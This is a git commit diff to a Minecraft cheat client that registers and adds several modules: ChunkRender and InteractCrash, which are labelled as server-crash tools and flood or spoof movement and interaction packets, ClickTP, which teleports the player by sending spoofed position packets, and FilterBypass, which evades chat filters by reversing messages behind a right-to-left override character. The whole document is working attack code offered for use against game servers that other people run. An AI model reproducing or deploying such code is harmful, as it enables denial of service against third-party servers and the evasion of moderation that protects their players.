This commit is contained in:
Saturn5Vfive 2022-04-14 03:09:47 -05:00
parent aadc7e15cb
commit 99ea9a965c
5 changed files with 427 additions and 1 deletions

View file

@ -21,6 +21,8 @@ import net.shadow.client.feature.module.impl.combat.Velocity;
import net.shadow.client.feature.module.impl.crash.AnimationCrash;
import net.shadow.client.feature.module.impl.crash.ArmorStandCrash;
import net.shadow.client.feature.module.impl.crash.BookInflator;
import net.shadow.client.feature.module.impl.crash.ChunkRender;
import net.shadow.client.feature.module.impl.crash.InteractCrash;
import net.shadow.client.feature.module.impl.crash.LecternCrash;
import net.shadow.client.feature.module.impl.crash.LoominaCrash;
import net.shadow.client.feature.module.impl.crash.MinehutCrash;
@ -65,6 +67,7 @@ import net.shadow.client.feature.module.impl.movement.Blink;
import net.shadow.client.feature.module.impl.movement.BlocksmcFlight;
import net.shadow.client.feature.module.impl.movement.BoatPhase;
import net.shadow.client.feature.module.impl.movement.Boost;
import net.shadow.client.feature.module.impl.movement.ClickTP;
import net.shadow.client.feature.module.impl.movement.EdgeJump;
import net.shadow.client.feature.module.impl.movement.EdgeSneak;
import net.shadow.client.feature.module.impl.movement.EntityFly;
@ -294,6 +297,9 @@ public class ModuleRegistry {
vanillaModules.add(new Speed());
vanillaModules.add(new BoatFling());
vanillaModules.add(new FilterBypass());
vanillaModules.add(new InteractCrash());
vanillaModules.add(new ChunkRender());
vanillaModules.add(new ClickTP());
rebuildSharedModuleList();
}

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@ -0,0 +1,132 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import net.shadow.client.helper.util.Utils;
import java.util.Random;
import net.minecraft.client.network.ClientPlayerEntity;
import net.minecraft.network.Packet;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.network.packet.c2s.play.TeleportConfirmC2SPacket;
import net.minecraft.network.packet.s2c.play.PlayerPositionLookS2CPacket;
import net.minecraft.util.math.Vec3d;
import net.minecraft.world.World;
public class ChunkRender extends Module {
static boolean shouldfly;
static int ppls;
static int ticks;
final DoubleSetting velocity = this.config.create(new DoubleSetting.Builder(7).min(1).max(10).name("Velocity").description("How fast to move").get());
final DoubleSetting timer = this.config.create(new DoubleSetting.Builder(25).min(20).max(200).name("Timer").description("Timer boost speed").get());
final DoubleSetting lockat = this.config.create(new DoubleSetting.Builder(200).min(20).max(500).name("LockAT").description("What height to start boosting at").get());
boolean capture = true;
public ChunkRender() {
super("ChunkRender", "render chunks to crash the server", ModuleType.CRASH);
Events.registerEventHandlerClass(this);
}
@Override
public void tick() {
Utils.setClientTps(timer.getValue().floatValue());
ClientPlayerEntity player = client.player;
ticks++;
client.player.setSprinting(true);
Vec3d forward = Vec3d.fromPolar(0, player.getYaw()).normalize();
if (client.player.getY() < lockat.getValue()) {
player.setVelocity(0, 0.3, 0);
} else {
if (shouldfly) {
client.options.forwardKey.setPressed(true);
player.setVelocity(forward.x * velocity.getValue(), 0, forward.z * velocity.getValue());
} else {
client.options.forwardKey.setPressed(true);
}
}
if (ticks % 5 == 0) {
client.player.networkHandler.sendPacket(new TeleportConfirmC2SPacket(ticks));
}
if (ticks % 200 == 0) {
ppls = 0;
}
}
@Override
public void enable() {
}
@Override
public void disable() {
Utils.setClientTps(20F);
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@EventListener(type=EventType.PACKET_SEND)
void onSentPacket(PacketEvent event){
if(!this.isEnabled()) return;
if(!capture) return;
if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
return;
if (!(packet instanceof PlayerMoveC2SPacket.PositionAndOnGround || packet instanceof PlayerMoveC2SPacket.Full))
return;
if (client.player.input == null) {
event.setCancelled(true);
return;
}
event.setCancelled(true);
double x = packet.getX(0);
double y = packet.getY(0);
double z = packet.getZ(0);
Packet<?> newPacket;
if (packet instanceof PlayerMoveC2SPacket.PositionAndOnGround)
newPacket = new PlayerMoveC2SPacket.PositionAndOnGround(x, y + randomboolnum(), z, true);
else
newPacket = new PlayerMoveC2SPacket.Full(x, y + randomboolnum(), z, packet.getYaw(0),
packet.getPitch(0), true);
capture = false;
client.player.networkHandler.getConnection().send(newPacket);
capture = true;
}
@Override
public void onHudRender() {
}
private double randomboolnum() {
if (new Random().nextBoolean()) {
return Math.random() * 1.5;
} else {
return Math.random() * -1.5;
}
}
}

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@ -0,0 +1,88 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.minecraft.entity.Entity;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractEntityC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractItemC2SPacket;
import net.minecraft.util.Hand;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.hit.EntityHitResult;
public class InteractCrash extends Module {
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Block).name("Mode").description("How to interact").get());
final DoubleSetting repeat = this.config.create(new DoubleSetting.Builder(5).min(1).max(100).name("Power").description("How much power to attack with").get());
public InteractCrash() {
super("InteractCrash", "crash by using many interactions", ModuleType.CRASH);
}
@Override
public void tick() {
switch(mode.getValue()){
case Block -> {
BlockHitResult bhr = (BlockHitResult) client.crosshairTarget;
if (client.world.getBlockState(bhr.getBlockPos()).isAir()) return;
for (int i = 0; i < repeat.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerInteractBlockC2SPacket(Hand.MAIN_HAND, bhr));
}
}
case Item -> {
for (int i = 0; i < repeat.getValue(); i++) {
client.player.networkHandler.sendPacket(new PlayerInteractItemC2SPacket(Hand.MAIN_HAND));
}
}
case Entity -> {
Entity target;
if (!(client.crosshairTarget instanceof EntityHitResult)) {
target = null;
return;
}
target = ((EntityHitResult) client.crosshairTarget).getEntity();
for (int i = 0; i < repeat.getValue(); i++) {
client.player.networkHandler.sendPacket(PlayerInteractEntityC2SPacket.interact(target, false, Hand.MAIN_HAND));
}
}
}
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
public enum Mode {
Block,
Item,
Entity
}
}

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@ -5,13 +5,21 @@
package net.shadow.client.feature.module.impl.exploit;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.network.packet.c2s.play.ChatMessageC2SPacket;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
public class FilterBypass extends Module {
boolean blockPackets = true;
public FilterBypass() {
super("FilterBypass", "bypass the chat filter", ModuleType.MISC);
super("FilterBypass", "bypass the chat filter", ModuleType.EXPLOIT);
Events.registerEventHandlerClass(this);
}
@Override
@ -32,6 +40,25 @@ public class FilterBypass extends Module {
return null;
}
@EventListener(type=EventType.PACKET_RECEIVE)
void onRecievePacket(PacketEvent event){
if(!this.isEnabled())return;
if(!blockPackets) return;
if(event.getPacket() instanceof ChatMessageC2SPacket packet){
event.setCancelled(true);
String message = packet.getChatMessage();
if (message.startsWith("/") || message.startsWith(">")) {
return;
}
StringBuilder rvmsg = new StringBuilder(message).reverse();
String msgout = rvmsg.toString();
String msgformatted = "\u202E " + rvmsg;
blockPackets = false;
client.player.networkHandler.sendPacket(new ChatMessageC2SPacket(msgformatted));
blockPackets = true;
}
}
@Override
public void onWorldRender(MatrixStack matrices) {

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@ -0,0 +1,173 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.movement;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.ShadowMain;
import net.shadow.client.feature.config.BooleanSetting;
import net.shadow.client.feature.config.EnumSetting;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.MouseEvent;
import net.shadow.client.helper.render.Renderer;
import net.shadow.client.helper.util.Utils;
import net.minecraft.client.network.ClientPlayerEntity;
import net.minecraft.network.packet.c2s.play.PlayerMoveC2SPacket;
import net.minecraft.util.hit.BlockHitResult;
import net.minecraft.util.math.BlockPos;
import net.minecraft.util.math.Direction;
import net.minecraft.util.math.Vec3d;
import java.awt.*;
public class ClickTP extends Module {
private static BlockPos targeted = new BlockPos(0, 0, 0);
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Normal).name("Mode").description("The way to teleport").get());
final BooleanSetting onlyctrl = this.config.create(new BooleanSetting.Builder(false).name("Only Ctrl").description("Only teleport when the control key is pressed").get());
private static int lengthTo(BlockPos p) {
Vec3d v = new Vec3d(p.getX(), p.getY(), p.getZ());
return (int) roundToN(v.distanceTo(client.player.getPos()), 0);
}
public static double roundToN(double x, int n) {
if (n == 0) return Math.floor(x);
double factor = Math.pow(10, n);
return Math.round(x * factor) / factor;
}
public ClickTP() {
super("ClickTP", "teleport with click", ModuleType.MISC);
Events.registerEventHandlerClass(this);
}
@Override
public void tick() {
BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
targeted = new BlockPos(ray.getBlockPos());
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@EventListener(type=EventType.MOUSE_EVENT)
void onMouseEvent(MouseEvent event){
if (!this.isEnabled()) return;
if (((MouseEvent) event).getButton() == 1 && ((MouseEvent) event).getAction() == 1) {
if (ShadowMain.client.currentScreen != null) return;
BlockHitResult ray = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
int rd = lengthTo(ray.getBlockPos());
int raycastdistance = rd / 7;
BlockHitResult blockHitResult = (BlockHitResult) client.player.raycast(200, client.getTickDelta(), true);
BlockPos d = new BlockPos(blockHitResult.getBlockPos());
BlockPos dest = new BlockPos(d.getX() + 0.5, d.getY(), d.getZ() + 0.5);
dest = dest.offset(Direction.UP, 1);
if (onlyctrl.getValue() && !client.options.sprintKey.isPressed())
return;
switch(mode.getValue()){
case Normal -> {
client.player.updatePosition(dest.getX(), dest.getY(), dest.getZ());
}
case Split -> {
client.player.jump();
ClientPlayerEntity player = client.player;
Vec3d playerpos = player.getPos();
double xn = dest.getX() - playerpos.x;
double yn = dest.getY() - playerpos.y;
double zn = dest.getZ() - playerpos.z;
double x = xn / raycastdistance;
double y = yn / raycastdistance;
double z = zn / raycastdistance;
for (int i = 0; i < raycastdistance; i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true));
}
player.updatePosition(dest.getX(), dest.getY(), dest.getZ());
}
case Tween -> {
new Thread(() -> {
int rdd = lengthTo(ray.getBlockPos());
BlockPos destt = new BlockPos(blockHitResult.getBlockPos());
client.player.jump();
ClientPlayerEntity player = client.player;
Vec3d playerpos = player.getPos();
double xn = destt.getX() - playerpos.x;
double yn = destt.getY() - playerpos.y;
double zn = destt.getZ() - playerpos.z;
double x = xn / rdd;
double y = yn / rdd;
double z = zn / rdd;
for (int i = 0; i < rdd; i++) {
client.player.updatePosition(player.getX() + x, player.getY() + y, player.getZ() + z);
try {
Thread.sleep(7);
} catch (Exception ignored) {
}
client.player.setVelocity(0, 0, 0);
}
}).start();
}
case Experimental -> {
new Thread(() -> {
int rdd = lengthTo(ray.getBlockPos());
BlockPos destt = new BlockPos(blockHitResult.getBlockPos());
client.player.jump();
ClientPlayerEntity player = client.player;
Vec3d playerpos = player.getPos();
double xn = destt.getX() - playerpos.x;
double yn = destt.getY() - playerpos.y;
double zn = destt.getZ() - playerpos.z;
double x = xn / rdd;
double y = yn / rdd;
double z = zn / rdd;
for (int i = 0; i < rdd; i++) {
client.player.networkHandler.sendPacket(new PlayerMoveC2SPacket.PositionAndOnGround(player.getX() + x, player.getY() + y, player.getZ() + z, true));
try {
Thread.sleep(10);
} catch (Exception ignored) {
}
client.player.setVelocity(0, 0, 0);
}
}).start();
}
}
}
}
@Override
public void onWorldRender(MatrixStack matrices) {
Vec3d vp = new Vec3d(targeted.getX(), targeted.getY(), targeted.getZ());
Renderer.R3D.renderFilled(vp, new Vec3d(1, 1, 1), Utils.getCurrentRGB(), matrices);
}
@Override
public void onHudRender() {
}
public enum Mode {
Split,
Normal,
Tween,
Experimental
}
}